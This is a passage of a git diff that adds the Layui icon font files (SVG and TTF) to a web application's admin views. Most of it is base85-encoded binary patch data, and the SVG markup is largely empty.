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 literal 0 HcmV?d00001 diff --git a/application/view/Admin/layui/font/iconfont.svg b/application/view/Admin/layui/font/iconfont.svg new file mode 100644 index 0000000..abdbf68 --- /dev/null +++ b/application/view/Admin/layui/font/iconfont.svg @@ -0,0 +1,459 @@ + + + + + +Created by iconfont + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/application/view/Admin/layui/font/iconfont.ttf b/application/view/Admin/layui/font/iconfont.ttf new file mode 100644 index 0000000000000000000000000000000000000000..3a020b8a6ac5b86893d6bdbff3c014f827f9c4d0 GIT binary patch literal 38360 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 